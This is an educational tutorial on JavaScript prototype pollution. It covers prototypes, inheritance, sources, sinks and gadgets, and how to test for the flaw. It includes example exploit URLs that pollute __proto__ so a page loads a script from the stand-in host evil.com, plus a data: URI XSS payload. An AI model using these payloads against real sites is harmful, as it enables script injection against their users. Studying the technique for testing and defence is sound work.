๐ก๏ธ JavaScript Prototype Pollution: A Deep Dive
๐ What is Prototype Pollution?
Prototype pollution is a vulnerability in JavaScript where an attacker adds arbitrary properties to a global object prototype (like Object.prototype). These polluted properties are then inherited by all objects in the application, potentially leading to security issues such as:
- Arbitrary code execution
- Access control bypass
- XSS
๐ฆ JavaScript Prototypes & Inheritance
๐งฑ Objects in JavaScript
A JavaScript object is a collection of key-value pairs:
const user = {
username: "wiener",
userId: 1234,
isAdmin: false
};
Properties can also be methods:
const user = {
username: "wiener",
exampleMethod: function() {
// do something
}
};
๐งฌ What is a Prototype?
Each object in JavaScript has a prototype โ an object it inherits from:
let myObject = {};
Object.getPrototypeOf(myObject); // โ Object.prototype
Other built-in prototypes:
String.prototypeArray.prototypeNumber.prototype
๐งญ How Inheritance Works
If a property is not found on an object, JavaScript looks up its prototype chain:
existingObject = { propertyA: 'A' }
myObject = Object.create(existingObject);
console.log(myObject.propertyA); // โ 'A'
๐ Accessing & Modifying Prototypes
Every object has a special property: __proto__.
console.log(user.__proto__); // โ Object.prototype
Modifying the prototype:
String.prototype.removeWhitespace = function() {
return this.replace(/^\s+|\s+$/g, '');
};
" test ".removeWhitespace(); // โ "test"
๐ฃ How Does Prototype Pollution Happen?
Prototype pollution often occurs during deep merge operations where unsanitized input is merged into an object:
// URL
https://site.com/?__proto__[transport_url]=//evil.com
// JSON
JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectLiteral.hasOwnProperty('__proto__'); // false
objectFromJson.hasOwnProperty('__proto__'); // true
๐ฐ Pollution Components
โ Source
Where user-controlled input pollutes a prototype (e.g., query string, JSON, web messages).
โ Sink
Where polluted data is used (e.g., DOM manipulation, function calls, security checks).
โ Gadget
A property that connects the source to the sink in an exploitable way.
๐ฅ Example Exploit
let transport_url = config.transport_url || defaults.transport_url;
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
Exploit URL:
https://site.com/?__proto__[transport_url]=//evil.com
Or direct XSS via data: URI:
https://site.com/?__proto__[transport_url]=data:,alert(1);//
๐ Finding Prototype Pollution Vulnerabilities
๐งช Manual Testing
-
Inject via URL:
?__proto__[foo]=bar ?__proto__.foo=bar -
Check in console:
Object.prototype.foo // "bar"
โ๏ธ Using DOM Invader (Burp Suite)
- Automatically tests sources, sinks, and gadgets.
- Can generate XSS PoCs for valid gadgets.
๐งฐ Finding Gadgets Manually
- Identify a potential gadget property used by the application.
- Use debugger to pause execution.
-
Inject trace logic:
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', { get() { console.trace(); return 'polluted'; } }); - Step through and locate execution in a sink.